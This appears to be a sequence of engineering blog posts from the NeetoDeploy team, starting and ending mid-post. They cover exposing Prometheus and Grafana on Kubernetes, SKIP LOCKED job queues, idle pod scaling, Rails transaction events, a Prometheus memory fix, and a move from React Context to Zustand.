kube-prometheus-stack-grafana and kube-prometheus-stack-prometheus are theClusterIP type services, which means we can only access them within theKubernetes cluster.

To expose the Prometheus and Grafana to be accessed outside the Kubernetescluster , we can either use the NodeIP or LoadBalance service.

Exposing Prometheus and Grafana using NodePort services

Let's run the following command to expose thePrometheusKubernetes service:

kubectl expose service kube-prometheus-stack-prometheus --type=NodePort --target-port=9090 --name=prometheus-node-port-servicekubectl expose service kube-prometheus-stack-grafana --type=NodePort --target-port=3000 --name=grafana-node-port-service

That command will create new services ofNodePorttype & make thePrometheusand Grafana is accessible outside the Kubernetes Cluster on ports9090 and80.

As we can see, the grafana-node-port-service andprometheus-node-port-service are successfully created and are being exposed onnode ports 32489 & 30905

Now, we can run this command and get the external IP of any node to access thePrometheus and Grafana:

kubectl get nodes -o wide

We can use the External-IP and the node ports to access the Prometheus andGrafana dashboards outside the cluster environment.

Prometheus Dashboard

Grafana Dashboard

Run this command, to get the password for the admin user of the Grafanadashboard:

kubectl get secret --namespace default kube-prometheus-stack-grafana -o jsonpath="{.data.admin-password}" | base64 --decode ; echo

Grafana Dashboard

Upon login to the Grafana dashboard, use adminas the username and ourgenerated password. We will see "Welcome to Grafana" homepage as shown below.

Since we used the Kube Prometheus Stack helm chart, the data source forPrometheus and Alert Manager is added by default.

We can add more data sources by clicking on the Add new data source buttonon the top right side.

By default, this Helm chart adds multiple dashboards to monitor the health ofthe Kubernetes cluster and its resources.

Additionally, we also have the option of creating our dashboards from scratch aswell as importing multiple Grafana dashboards provided by theGrafana library.

To import a Grafana Dashboard, let's follow these steps:

• From this Grafana library, we canadd any dashboard

  

• Select Dashboard and copy the Dashboard ID

  

• Under Dashboards page we can get the Import option

  

• Under "Import Dashboard" page, we need to paste the Dashboard IP that wecopied earlier & click on the Load button.

  

• After clicking on the Load button, it will auto-load the dashboard fromthe library after which we can import the dashboard by clicking on theImport button.

  

• Once the import is complete, well be redirected to the new imported dashboardwhichll also be visible under the Dashboards page.

  

  We can use this Node Exporter dashboard to monitor & observe the health of ournodes present in our Kubernetes Cluster.

Conclusion

In this blog, we learned how to integrate Prometheus and Grafana using the helmchart. We also learned how to import dashboards into Grafana from theGrafana library.

In the next blog, we will explore how to integrateGrafana Loki with Grafana and collect and storeevent-related metrics using theKubernetes Event Exporter.

Recently, 37signals open sourcedSolid Queue.

Solid Queue is database based queuing backend for Active Job. In contrastSidekiq and Resque are Redis-based queuing backends.

In her blog Rosa Gutirrez mentioned following lineswhich captured our attention.

In our case, one feature that PostgreSQL has had for quite some time and thatwas finally introduced in MySQL 8, has been crucial to our implementation:

SELECT ... FOR UPDATE SKIP LOCKED

This allows Solid Queues workers to fetch and lock jobs without locking otherworkers.

As per her, this feature had beenin PostgreSQLfor a while, and now this feature has landedin MySQLmaking it possible to build Solid Queue.

We had never heard of UPDATE SKIP LOCKED feature either in PostgreSQL or inMySQL. We were wondering what is this UPDATE SKIP LOCKED without which it wasnot possible to build Solid Queue. So we decided to look into it.

Processing jobs from a queue

Consider a case where we need to build a system where a bunch of jobs need to beprocessed in the background.

There are a bunch of workers waiting to grab a job and start processing themoment a job becomes available. The challenge is when multiple workers attemptto claim the same job simultaneously how do we ensure that only one of theworkers claims the job for processing. At any point of time, a worker shouldclaim only the "unclaimed" job, and an "unclaimed" job should be claimed by oneand only one worker.

Here is how one might go about it implementing it.

START TRANSACTIONSELECT * FROM JOBS WHERE processed='no' LIMIT 1;-- Process the jobCOMMIT;

With the above code, it's possible that two workers might claim the same job.

One way to resolve this issue is by marking a particular row as locked forupdate.

START TRANSACTION;SELECT * FROM JOBS WHERE processed='no' FOR UPDATE LIMIT 1;-- Process the jobCOMMIT

SELECT ... FOR UPDATE locks a particular row, and hence no one else can lockthat record.

As soon as a new job comes in, multiple workers will execute the above query andwill try to take a lock on that record. The database will ensure that only oneof the workers gets the lock.

The first worker will take the lock on the record using FOR UPDATE. When otherworkers come to that record and they see that there is a lock FOR UPDATE, theywill wait for the lock to be lifted. Yes, these workers will wait until the lockis released.

The lock will only be released when the transaction is committed. When thetransaction is committed and the lock is released, then other workers will gethold of the record only to find that the job has already been processed. As youcan see, this is a highly inefficient process.

That is where FOR UPDATE SKIP LOCKED comes in.

SKIP LOCKED skips locked rows

START TRANSACTION;SELECT * FROM jobs_table FOR UPDATE SKIP LOCKED LIMIT 1;-- Process the jobCOMMIT;

Imagine the same scenario here. A job comes in. Multiple workers compete toclaim the job. The database ensures that only one worker gets the lock. Howeverin this case the other workers will move on to the next record. They will notwait. That's what SKIP LOCKED does.

MySQL has detailed documentation onhow SKIP LOCKED worksIf you want to read in more detail.

Solid Queue uses FOR UPDATE SKIP LOCKED feature to ensure that a job isclaimed by only one worker.

How GoodJob manages job processing without SKIP LOCKED

GoodJob burst into the scenearound July, 2020.GoodJobs supports only PostgreSQL database because it uses advisory locks toguarantee that no two workers claim the same job.

PostgreSQL folks understand that the lock mechanism provided by the databasewould not satisfy all the variety of cases that might arise in an application.Advisory locks are a mechanism that allows applications to establish acommunication channel to coordinate actions between different sessions ortransactions. Unlike regular row-level locks enforced by the database system,advisory locks are implemented as a set of low-level functions that applicationscan use to acquire and release locks based on their requirements. We can readmore about ithere.

pg_advisory_lock functionwill lock the given resource. However, if another session already holds a lock onthe same resourc,e then this function will wait. This is similar to theFOR UPDATE case we saw above.

However pg_try_advisory_lock function will either obtain the lock immediatelyand return true, or return false if the lock cannot be acquired immediately. Asyou can see, the name has the word try. This function attempts to acquire a lock.If it can't get the lock, then it won't wait. Now this function can be utilizedto build a queuing system.

Any usage of an advisory lock means the application needs to coordinate action. Itgives more power to the application but it also means more work by theapplication. In contrast, FOR UPDATE SKIP RECORD is natively supported byPostgreSQL.

Based on the discussionshere andhere,it seems GoodJob is evaluating the possibility of migrating from advisory locksto using FOR UPDATE SKIP LOCKED for better performance. Going through theseissues was quite revealing and I got to learn a lot about things I was unawareof.

Delayed job implementation

DelayedJob has been there since2009, long before Sidekiq. It doesn't use SKIP LOCK. Instead it uses a rowlevel locking system byupdating a field in the job recordto indicate that the job is being processed. In short DelayedJob ensures that notwo workers take the same job at the application level without taking any helpin this direction from the database.

What about SQLite

So far, we discussed PostgreSQL and MySQL. What about SQLite? Does it supportSKIP LOCK. No, it doesn't support it, but it's ok. As per thedocumentation, it supportsonly writer at any instant in time.

High Concurrency

SQLite supports an unlimited number of simultaneous readers, but it will onlyallow one writer at any instant in time. For many situations, this is not aproblem. Writers queue up. Each application does its database work quickly andmoves on, and no lock lasts for more than a few dozen milliseconds. But thereare some applications that require more concurrency, and those applicationsmay need to seek a different solution.

NOWAIT

For completeness, let's discuss the NOWAIT feature. We saw earlier thatif we take a lock on a row using FOR UPDATE, then other workers will wait untilthe lock is released.

START TRANSACTION;SELECT * FROM JOBS WHERE processed='no' FOR UPDATE NOWAIT LIMIT 1;-- Process the jobCOMMIT

NOWAIT feature allows other transactions to not wait for the lock to bereleased. In this case if a transaction is not able to get a lock on the givenrow then it will raise an error and the application needs to handle the error.

In contrast, SKIP LOCKED will allow the transaction to move on to the next rowif a lock is already taken.

Redis backed queue vs database backed queue

Now that we looked at how FOR UPDATE SKIP LOCK helps build queuing systemusing database itself, let's see some pros and cons of each type of queuingsystem.

Simplicity and familiarity

Database-backed queues are often simpler to set up and manage, especially ifyour application is already using a relational database. There's no need for anadditional dependency like Redis.

No Additional Infrastructure

Since the job information is stored in the same database as your applicationdata, you don't need to set up and maintain a separate infrastructure like aRedis server.

Transactionality

Database-backed queues can leverage database transactions, ensuring that boththe job creation and any related database operations are committed or rolledback together. This can be important in scenarios where data consistency iscritical.

Modifiability

It is easier to modify the jobs stored in the database than Redis, but doing sorequires caution, and it's generally not recommended. In Redis, jobs are oftenstored as serialized data, and modifying them directly is not as straightforwardor common. Redis provides commands to interact with data, but modifying job datadirectly is not a standard practice and could result in data corruption.

What is sleep when idle feature

"Sleep when idle" is a feature of NeetoDeploy, which puts the deployedapplication to sleep when there is no hit to the server for 5 minutes. Thishelps reduce the cost of the server.

"Sleep when idle" feature can be enabled not only for the pull request reviewapplications, but for staging and production applications too. Many folks buildapplications to learn and for hobby. In such cases, there is no point in runningthe server when the server is not likely to get any traffic. Since NeetoDeploybilling is based on the usage "Sleep when idle" feature helps keep the bill lowfor the users.

Let's say you build something and you deployed to production. You shared it withyour friends. For a day or two you got a bit of traffic, and after that youmoved on to other things. If "sleep when idle" is enabled then you don't need toworry about anything. If the server is not getting any traffic then you will notbe billed.

How is Neeto using sleep when idle feature

At neeto, we are building 20+ applications at the sametime. It means lots of pull requests for all these products and thus lots of PRreview apps are created.

For a long time, we were using Heroku to build the review apps. However whenNeetoDeploy started to become stable, we movedto generating PR review apps fromHeroku to NeetoDeploy. This helped reduce cost.

How to make deployments sleep when idle?

This video describes how "sleep when idle" feature is implemented.

<iframewidth="560"height="315"src="https://youtube.com/embed/trn2DJyTjnw"frameborder="0"title="How we designed NeetoDeploy's 'sleep when idle' feature"allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture"allowfullscreen

</iframe>

Keeping the apps running only when they're being used involves two steps:

1. Scaling the deployments down and bringing them back up again
2. Figuring out when to do the scaling

The deployments can be scaled easily using the kubectl scale command. Forexample, if we want to turn our deployment off, we can run the following toupdate our deployment to zero replicas, essentially destroying all the pods.

kubectl scale deployment/nginx --replicas=0

We can also delete our service, ingress or any other resource we might havecreated for our deployment. The configuration of the deployment itself wouldstill be present in the cluster even when we make it sleep, since the KubernetesDeployment is not deleted.

When we want to bring our app back up again, we can use the same command to spinup new pods:

kubectl scale deployment/nginx --replicas=1

The challenge was to figure out when to do this. We decided that we'd have athreshold based on the time the app is last accessed by users. If theapplication is not accessed for more than five minutes, we consider theapplication to be idle and we will scale it down. It'll be brought back up whena user tries to access it again.

Exploring existing solutions

There are existing CNCF projects like Knative andKeda, which can potentially be used to achieve what we wanthere. We spent some time exploring these but realized that these solutionsweren't exactly suitable for our requirements. Kubernetes also natively has aHPAScaleToZerofeature gatewhich enables theHorizontal Pod Autoscalerto scale down deployments to zero pods, but this is still in alpha and, hence isnot available in EKS yet.

Ultimately, we decided to write our own service for achieving this. The entirebackend of NeetoDeploy was designed asa collection of microservicesfrom day one. So it made sense to build our pod idling service as anothermicroservice that runs in our cluster.

Figuring out when to make applications sleep

To know when applications can be idled, we need to know when people areaccessing the applications from their browsers. Since all the requests toapplications deployed on NeetoDeploy would go through our load balancer, itwould contain the information of when every app was last accessed.

We use Traefik as our load balancer and we usedTraefik's middlewares toretrieve and process the information of when apps are being accessed. We wrote acustom middleware to send all the request information to the pod idling service,whenever an app is being accessed. The pod idling service would store all theURLs, along with the timestamp at which they were accessed, in a Redis cache.The following graphic shows how the request information would be collected andstored by the pod idling service into its Redis cache, both of which are runningwithin the cluster.

The pod idling service would then filter the apps that were last accessed morethan five minutes ago. It then sends a request to the cluster to scale all theseapps down. We'd also delete any related resources like the Services and theIngressRoutes used to configure networking for the deployments.

We first tested this by running the service manually, and sure enough, all theinactive deployments are filtered and scaled properly. We then added this as acron job in the pod idling service, which would run every five minutes. Thismeans that no app would run for more than five minutes if they're not beingused.

But wait! How would we bring the app back up after scaling it down?

Building the downtime service

As we discussed above, we use Traefik's IngressRoutes to route traffic to theapplication being accessed. We made use of thepriority parameterof IngressRoutes to boot up apps that are sleeping. Essentially, we created awildcard Traefik IngressRoute that points to a "downtime service" deployment,which is a React app that serves a message of There's nothing here, yet to letusers know that the app they're trying to access doesn't exist. You can see thisin action if you visit a random URL in NeetoDeploy, say something likenonexistent-appname.neetodeployapp.com

Wildcard IngressRoutes have the least priority by default. So if we create a"catch-all" wildcard IngressRoute, any invalid url without an IngressRoute ofits own, can be redirected to a single Service in Kubernetes. This is how we'reredirecting non-existent apps to the page shown above. In the following graphic,we can see how a request to a random URL is routed to the downtime service withthe wildcard IngressRoute.

This also means that if an app is scaled down by the pod idling service and getsits IngressRoute deleted, the next time a user tries to access the app, therequest would instead be routed to the downtime service. We need to handle thescale up logic from the downtime service.

Whenever a user requests a URL that doesn't have an IngressRoute, there are twopossibilities.

1. The app doesn't exist.
2. The app exists, but is currently scaled down.

The downtime service would first check the cluster if the requested app ispresent in the cluster in a sleeping state. If not then the user will be servedthe "There's nothing here, yet" page. If there is a sleeping deployment,however, we boot it back up. The downtime service sends the scale up request tothe cluster. We keep redirecting the user back to the url till the app is up andrunning. This redirection would keep happening until the app is scaled up sincewe create the Service and IngressRoute only after the pods of the app arerunning. At this point, the request will be routed to the correct pod by theapp's IngressRoute, since it has a higher priority than the wildcardIngressRoute of the downtime service. All of these steps are illustrated in theGIF below:

This design worked flawlessly and we were able to bring back scaled downapplications with as low as 20-30 seconds of wait time.

Conclusion

We've been running this setup for almost a year now, and it has been workingsmoothly so far. Pod idling service and the downtime service started as simplermicroservices and continue to evolve, adapting to the increasing demand as wegrow.

If your application runs on Heroku, you can deploy it on NeetoDeploy without anychange. If you want to give NeetoDeploy a try, then please send us an email atinvite@neeto.com.

If you have questions about NeetoDeploy or want to see the journey, followNeetoDeploy on X. You can also join ourcommunity Slack to chat with us about anyNeeto product.

One of the recent additions to this is the transaction.active_record eventThat is triggered when Active Record-managed transactions occur. This isparticularly useful if you want to build a monitoring system like NewRelic, whereyou need to track and analyze database transactions for performance monitoringand optimization purposes.

The event payload contains the connection, outcome, and the timing details. Theconnection helps us identify the database where the transaction occurred, whichis particularly valuable in a multi-database environment. The outcome, which maybe one of the following: :commit, :rollback, :restart, or :incompletesignifies the transaction's result.

To make use of this, we can subscribe to the event in an initializerconfig/initializers/events.rb like this.

ActiveSupport::Notifications.subscribe(  "transaction.active_record") do |event|  MetricsLogger.record_transaction(event.payload)end

In the above example, MetricLogger is responsible for recording thetransaction details. It then analyzes and reports slow transactions so thatproper action can be taken. You can modify this to suit your instrumentationneeds.

Please check out these pull requests -1,2 for more details.

One of the features that we wanted in our cloud deployment platform,NeetoDeploy was an application metrics. We decided to usePrometheus for building this feature. Prometheus is anopen source monitoring and alerting toolkit and is a CNCF graduated project.Venturing into the Cloud Native ecosystem of projects apart from Kubernetes wassomething we had never done before. We ended up learning a lot about Prometheusand how to use it during the course of building this feature.

Initial setup

We installed Prometheus in our Kubernetes cluster by writing a deploymentconfiguration YAML and applying it to our cluster. We also provisioned an AWSElastic Block Store volume using a PersistentVolumeClaim to store the metricsdata collected by Prometheus. Prometheus needed aconfiguration filewhere we defined what all targets it will be scraping metrics from. This is aYAML file which we stored in a ConfigMap in our cluster.

Targets in Prometheus can be anything that exposes metrics data in thePrometheus format at a /metrics endpoint. This can be your applicationservers, Kubernetes API servers or even Prometheus itself. Prometheus wouldscrape the data at the defined scrape_interval and store it in the volume astime series data. This can be queried and visualized in the Prometheus dashboardthat comes bundled in the Prometheus deployment.

We used kubectl port-forward command to test that Prometheus is workinglocally. Once everything was tested and we confirmed, we exposed Prometheus withan ingress so that we can hit its APIs with that url.

Initially we had configured the following targets:

1. node_exporter from Prometheus,which would scrape the metrics of the machine the deployment is running on.
2. kube-state-metrics whichwould listen to the Kubernetes API and store metrics of all the objects.
3. Traefik for all the network-related metrics(like the number of requests etc.) since we are using Traefik as our ingresscontroller.
4. kubernetes-nodes
5. kubernetes-pods
6. kubernetes-cadvisor
7. kubernetes-service-endpoints

The last 4 scrape jobs would be collecting metrics from the Kubernetes REST APIrelated to nodes, pods, containers and services respectively.

For scraping metrics from all of these targets, we had set a resource request of500 MB of RAM and 0.5 vCPU to our Prometheus deployment.

After setting up all of this, the Prometheus deployment was running fine, and wewere able to see the data from the Prometheus dashboard. Seeing this, we weresatisfied and happily started hacking with PromQL, Prometheus's query language.

The CrashLoopBackOff crime scene

CrashLoopBackOff is when a Kubernetes pod is going into a loop of crashing,restarting itself and then crashing again - and this was what was happening tothe Prometheus deployment we had created. From what we could see, the pod hadcrashed, and when it gets recreated, Prometheus would initialize itself and do areload of theWrite Ahead Log (WAL).

The WAL is there for adding additional durability to the database. Prometheusstores the metrics it scrapes in-memory before persisting them to the databaseas chunks, and the WAL makes sure that the in-memory data will not be lost inthe case of a crash. In our case, the Prometheus deployment was crashing and itwould get recreated. It would try to load the data from WAL into memory, andthen crash again before this was completed, leading to the CrashLoopBackOffstate.

We tried deleting the WAL blocks manually from the volume, even though thiswould incur some data loss. This was able to bring the deployment back up againsince WAL replay needn't be done. The deployment went into CrashLoopBackOffagain after a while.

Investigating the error

The first line of approach we took was to monitor the CPU, memory, and diskusage of the deployment. The disk usage seemed to be normal. We had provisioneda 100GB volume and it wasn't anywhere near getting used up. The CPU usage alsoseemed normal. The memory usage, however, was suspicious.

After the pods had crashed initially, we recreated the deployment and monitoredit using kubectl's --watch flag for following all the pod updates. While doingthis we were able to see that the pods were going into CrashLoopBackOff becausethey were getting OOMKilled first. The OOMKilled error in Kubernetes is when apod is terminated because it tries to use more memory than it is allotted in itsresource limits. We were consistently seeing the OOMKilled error so memorymust be the culprit here.

We added Prometheus itself as a target in Prometheus so that we could monitorthe memory usage of the Prometheus deployment. The following was the generaltrend of how Prometheus's memory was increasing over time. This would go onuntil the memory would cross the specified limit, and then the pod would go intoCrashLoopBackOff.

Now that we knew that memory was the issue, we started looking into what wascausing the memory leak. After talking with some folks from the Kubernetes Slackworkspace, we were asked to look at the TSDB status of the Prometheusdeployment. We monitored the stats in real time and saw that the number of timeseries data stored in the database was growing in tens of thousands by eachsecond! This lined up with the increase in the memory usage graph from earlier.

How we fixed it

We can calculate the memory requirement for Prometheus based on the number oftargets we are scraping metrics from and the frequency at which we are scrapingthe data. The memory requirement of the deployment is a function of both ofthese parameters. In our case ,this was definitely higher than what we couldafford to allocate (based on the nodegroup's machine type) since we werescraping a lot of data at a scrape interval of 15 seconds, which was set in thedefault configuration for Prometheus.

We increased the scrape interval to 60 seconds and removed all the targets fromthe Prometheus configuration whose metrics we didn't need for building thedashboard. Within the targets that we were scraping from, we used themetric_relabel_configs option to persist in the database only those metricswhich we needed and to drop everything else. We only needed thecontainer_cpu_usage_seconds_total, container_memory_usage_bytes and thetraefik_service_requests_total metrics - so we configured Prometheus so thatonly these three would be stored in our database, and by extension the WAL.

We redeployed Prometheus after making these changes and the memory showed greatstability afterwards. The following is the memory usage of Prometheus over thelast few days. It has not exceeded 1GB.

The aftermath

Once Prometheus was stable we were able to build the metrics dashboard with thePrometheus API in a straightforward manner. The metrics dashboard came to usewithin a couple of days, when the staging deployment ofNeetoCode had faced a downtime. You can see thechanges in the metrics from the time when the outage had occurred

The quintessential learning that we got from this experience is to always bewary of the resources that are being used up when it comes to tasks likescraping metrics over an extended period of time. We were scraping all themetrics initially in order to explore everything, even though all the metricswere not being used. But because of this, we were able to read a lot about howPrometheus works internally, and also learn some Prometheus best practices thehard way.

If your application runs on Heroku, you can deploy it on NeetoDeploy without anychange. If you want to give NeetoDeploy a try, then please send us an email atinvite@neeto.com.

If you have questions about NeetoDeploy or want to see the journey, followNeetoDeploy on Twitter. You can also join ourcommunity Slack to chat with us about any Neetoproduct.

Global state refers to data that needs to be accessible and shared acrossdifferent parts of an application. Unlike local or component-specific state,global state is not confined to a particular component but is availablethroughout the entire application.

Let's dive into a real-world scenario to understand the need for a global statein a React application.

Imagine we're building a sophisticated e-commerce platform with variouscomponents, such as a product catalog, a shopping cart, and a user profile. Eachof these components requires access to shared data, like the user'sauthentication status and the contents of their shopping cart.

In the application, the user logs in on the homepage and starts adding productsto their shopping cart. As the user navigates through different sections, suchas the product catalog or the user profile, we need to decide how to seamlesslyshare and manage the user's authentication status and the contents of theshopping cart across these disparate components. This is where the concept of aglobal state comes into the picture.

In the early stages of our application development, we might adopt React Contextto manage this global state.

In this blog post, we'll discuss the process of upgrading from traditional ReactContext to Zustand, a state management library that offers simplicity,efficiency, and improved performance.

The Pitfalls of React Context

In our initial setup, we relied on React contexts for managing global states.However, as our application grew, we encountered performance issues andcumbersome boilerplate code. Let's consider a typical scenario where we need aglobal user state:

const user = {  name: "Oliver",  age: 20,  address: {    city: "Miami",    state: "Florida",    country: "USA",  },};

To use this global state, we had to create a Context, wrap the child componentswithin a provider, and use the useContext hook in the child components. Thisled to unnecessary re-renders and increased boilerplate.

// Create a Contextconst UserContext = React.createContext();// Wrap the parent component with the UserContext providerconst App = () => (  <UserContext.Provider value={user}>    {/* Other components that use the user Context */}  </UserContext.Provider>);

// In a child component, access the user Context using `useContext` hookconst UserProfile = () => {  const user = React.useContext(UserContext);  return (    <div>      <p>{user.name}</p>      <p>{user.age}</p>    </div>  );};

Components that listen to the Context will trigger a re-render whenever anyvalue within the Context changes, even if those changes are unrelated to thespecific component.

For example, in the UserProfile component, if the value of city changes inthe Context, the component will re-render, even if the address values aren'tactually utilized within UserProfile. This can have a noticeable impact onperformance. Furthermore, the usage of Context involves a lot of boilerplatecode.

Enter Zustand: A Breath of Fresh Air

Zustand emerged as our solution to these challenges. It offered a morestreamlined approach to global state management, addressing the performanceconcerns.

The useUserStore hook is created using zustand's create function. Itinitializes a store with initial state values and actions to update the state.

import create from "zustand";// Create a user store using zustandconst useUserStore = create(set => ({  user: {    name: "Oliver",    age: 20,    address: {      city: "Miami",      state: "Florida",      country: "USA",    },  }  setUser: set,}));

The UserProfile component uses the useUserStore hook to access the userstate. The store => store.user function is passed as an argument to the hook,which retrieves the user object from the store.

// Access the user via the useUserStore hookconst UserProfile = () => {  const user = useUserStore(store => store.user);  return (    <div>      <p>{user.name}</p>      <p>{user.age}</p>    </div>  );};

In this component, useUserStore is used to access the entire user object fromthe store. Any change in the user object, even if it's a nested property likeage, will trigger a re-render of the UserProfile component. This behavior issimilar to how React Contexts work.

The first argument to the useUserStore hook is a selector function. Using theselector function, we can specify what to pick from the store. Zustand comparesthe previous and current values of the selected data and if the current andprevious values are different, zustand triggers a re-render.

In the above example, store => store.user is the selector function. Zustandwill compare the previous value of user with the current value and willtrigger a re-render if the values are different. But inside this component, weneed the values of only name and age properties of the user object.

This is where Zustand's ability to selectively pick specific parts of the statefor a component that comes into play, offering potential performanceoptimizations.

If we want to construct a single object with multiple state-picks inside, we canuse shallow function to prevent unnecessary rerenders.

For example, we can be more specific by picking only name and age valuesfrom user store:

import { shallow } from "zustand/shallow";const { name, age } = useUserStore(  ({ user }) => ({ name: user.name, age: user.age }),  shallow);

Without shallow, the function({ user }) => ({ name: user.name, age: user.age }) recreates the object{ name: user.name, age: user.age } everytime it is called.

shallow is a function of comparison that checks for equality at the top levelof the object, without performing a deep comparison of nested properties.Zustand's default behavior is to use Object.is for comparisons of the currentand previous values. Even though the current and previous objects can have thesame properties with equal values, they are not considered equal when comparedusing the strict equality operator ( Object.is ), same in the case of arrays.By adding shallow it will dig into the array/object and compare its key valuesor elements in the array and if any one is different, it triggers again.

In the above case, shallow ensures that the UserProfile component willre-render only if the name or age properties of the user object change.

Zustand also provides the getState function as a way to directly access thestate of a store. This function can be particularly useful when we want toaccess the state outside of the component rendering cycle.

When using a value within a specific function, the getState() retrieves thelatest value at the time of calling. It is useful to avoid having the valueloaded using the hook (which will trigger a re-render when this value changes).

const useUserStore = create(() => ({ name: "Oliver", age: 20 }));// Getting non-reactive fresh stateconst handleUpdate = () => {  if (useUserStore.getState().age === 20) {    // Our code here  }};

Working with Zustand

1. Installing zustand

yarn add zustand

2. Replacing all contexts with zustand

During the initial migration, we replaced all React contexts with Zustand. Thisinvolved copying data and replacing Context hooks with Zustand stores. Our focuswas on the migration itself, deferring performance enhancements for a laterphase.

In the context of Zustand, "actions" refer to functions that are responsible forupdating the state. In other words, actions are methods that modify the datawithin the state container.

const useUserStore = create(  withImmutableActions(set => ({    name: 10,    age: 20,    address: {      city: "Miami",      state: "Florida",      country: "USA",    },    setName: ({ name }) => set({ name }),    setGlobalState: set,  })));

In the provided code snippet, setName and setGlobalState are examples ofactions. Let's break it down:

setName: This action takes an object as an argument, specifically { name },and updates the name property of the state with the provided value.

setName: ({ name }) => set({ name }),

setGlobalState: Similarly, this action takes an argument, and in this case, itmerges the state with the provided argument. It's a more generic action thatallows modifying multiple properties of the state at once.

To safeguard against actions being overwritten, we introduced a middlewarefunction called withImmutableActions

This middleware ensures that attempts to overwrite Zustand store actions resultin an error, providing a safeguard against unintended behavior.

The withImmutableActions throws an error because we are trying to overwritethe zustand store's actions.

// throws an errorsetGlobalState({ name: 0, setName: () => {} });

Here is the source code of withImmutableActions:

import { isEmpty, keys } from "ramda";const setWithoutModifyingActions = set => partial =>  set(previous => {    if (typeof partial === "function") partial = partial(previous);    const overwrittenActions = keys(partial).filter(      key =>        typeof previous?.[key] === "function" && partial[key] !== previous[key]    );    if (!isEmpty(overwrittenActions)) {      throw new Error(        `Actions should not be modified. Touched action(s): ${overwrittenActions.join(          ", "        )}`      );    }    return partial;  }, false);const withImmutableActions = config => (set, get, api) =>  config(setWithoutModifyingActions(set), get, api);

Unlike zustand's default behavior, this middleware disregards thesecond argument of the set functionwhich is used to overwrite the entire state when set to true. Hence, thefollowing lines of code work identically to each other:

setGlobalState({ value: 0 }, true);setGlobalState({ value: 0 });

3. Performance optimization strategies

We identified key strategies to optimize performance while using Zustand:

Selective Data Usage

Instead of using the entire state, components can selectively choose the datathey need. This ensures that re-renders occur only when relevant data changes.

Consider the following user store:

const useUserStore = create(set => ({  name: "",  subjects: [],  address: {    city: "",    country: "",  },  setUser: set,}));

If we only need the city value, we can do:

const city = useUserStore(store => store.address.city);

In this case, the usage of shallow is not necessary because the selected datais a primitive value (city), not a complex object with nested properties.shallow is not needed when the returned object can be compared usingObject.is operator.

Avoiding importing values like contexts

// Not recommendedconst {  address: { city, country },  setAddress,} = useUserStore();

We can replace the above code with the following approach:

const { city, country } = useUserStore(  store => pick(["city", "country"], store.address),  shallow);const setAddress = useUserStore(prop("setAddress"));// `pick` and `prop` are imported from ramda

Avoiding prop drilling

Directly accessing Zustand values within the intended component eliminates theneed for prop drilling, improving code clarity and maintainability.

Utilizing getState Method

When used within a function, the getState() retrieves the latest value at thetime of calling the function. It is useful to avoid having the value loadedusing the hook (which will trigger a re-render when this value changes)

const handleUpdate = () => {  if (useUserStore.getState().role === "admin") {    // Our code here  }};

Challenges and Solutions

Shared State Instances Across Components

Zustand's design maintains a single instance of state and actions. When usingthe same store hook across multiple components, values are shared. To addressthis, we combined Zustand with React Context, achieving a balance betweenefficient state management and isolation.

When we call the store hook (useUserStore) from different components whichneed separate states, the values returned by the hook will be the same acrossthose components.

This behavior is a consequence of zustand's design. It maintains a singleinstance of the state and actions, ensuring that all components using the samehook share the same state and actions.

To illustrate this, consider an example where we have two input components on aform page: one for the Student profile and another for the Teacher profile. Bothcomponents are utilizing the same useUserStore to manage both student andteacher details.

// useUserStore.jsimport { create } from "zustand";const useUserStore = create(set => ({  name: "",  subjects: [],  address: {    city: "",    country: "",  },  setUser: set}));export default useUserStore;// App.jsximport React from "react";import Profile from "./Profile";const App = () => (  <div>    <Profile role="Teacher" />    <Profile role="Student" />  </div>);export default App;// Profile.jsximport React from "react";import { prop } from "ramda"import useUserStore from "./stores/useUserStore";const Profile = ({ role }) => {  const name = useUserStore(prop("name"));  const setName = useUserStore(prop("setName"));  return (    <div>      <p>{`Enter the ${role}'s name`}</p>      <input        value={name}        onChange={(e) => setName(e.target.value)}      />    </div>  );};export default Profile;

In this setup, since both the Student and Teacher profiles are using the samestore (useUserStore), the input fields in both components will display thesame value.

We combined Zustand with React Context to address this challenge of shared stateinstances across different components on the same page. By doing so, we haveachieved a balance between the benefits of Zustand's efficient state managementand the isolation provided by React Context.

// Create a Contextimport { createContext } from "react";const UserContext = createContext(null);export default UserContext;// Modify useUserStore using createStoreimport { createStore } from "zustand";const useUserStore = () =>  createStore((set) => ({    name: "",    subjects: [],    address: {      city: "",      country: ""    },   setUser: set  }));export default useUserStore;// Add changes to Profile.jsximport React, { useContext, useMemo } from "react";import { pick } from "ramda";import useUserStore from "./stores/useUserStore";import { useStore } from "zustand";import { shallow } from "zustand/shallow";import UserContext from "./contexts/User";const Profile = ({ role }) => {  const userStore = useContext(UserContext);  const { name, setName } = useStore(    userStore,    pick(["name", "setName"]),    shallow  );  return (    <div>      <p>{`Enter the ${role}'s name`}</p>      <input value={name} onChange={(e) => setName(e.target.value)} />    </div>  );};const ProfileWithState = (props) => {  const stateStore = useMemo(useUserStore, []);  return (    <UserContext.Provider value={stateStore}>      <Profile {...props} />    </UserContext.Provider>  );};export default ProfileWithState;

With this implementation, each component gets its own isolated state, avoidingthe issue of shared state instances.

Tackling Boilerplate Code

In the codebase, there was a recurring pattern of boilerplate code when tryingto pick specific properties from a Zustand store with nested values. Thisinvolved using shallow and manually accessing nested properties, resulting inverbose code.

To simplify this process and reduce boilerplate, acustom babel pluginwas developed. This plugin provides a cleaner syntax for property picking fromZustand stores.

Without the plugin, to pick specific values from the store, we needed to write:

// Beforeimport { shallow } from "zustand/shallow";const { order, customer } = useGlobalStore(  store => ({    order: store[sessionId]?.globals.order,    customer: store[sessionId]?.globals.customer,  }),  shallow);

With the babel plugin, the above code can be written as:

//Afterconst { order, customer } = useGlobalStore.pick([sessionId, "globals"]);

The babel transformer will transform this code to the one shown above to achievethe same result.

A transformer is a module with a specific goal that is run against our code totransform it. The Babel plugin operates during the code compilation process. Byusing the Babel plugin, developers can achieve the same functionality with fewerlines of code, reducing code verbosity.

The useGlobalStore.pick syntax provides a more streamlined and expressive wayof picking properties. It abstracts away the need for manual property access andthe use of shallow.

Conclusion

Upgrading to Zustand has proven to be a wise decision, addressing performanceconcerns and streamlining our state management. By combining Zustand with ReactContext and tackling challenges with innovative solutions, we've achieved arobust and efficient state management system in our React applications.

Building the CLI tool for NeetoDeploy became our toppriority after we had built all the basic features in NeetoDeploy. Once westarted migrating our apps from Heroku to NeetoDeploy, the need for a CLI toolarose, since previously developers were using Heroku CLI for their scripts etc.

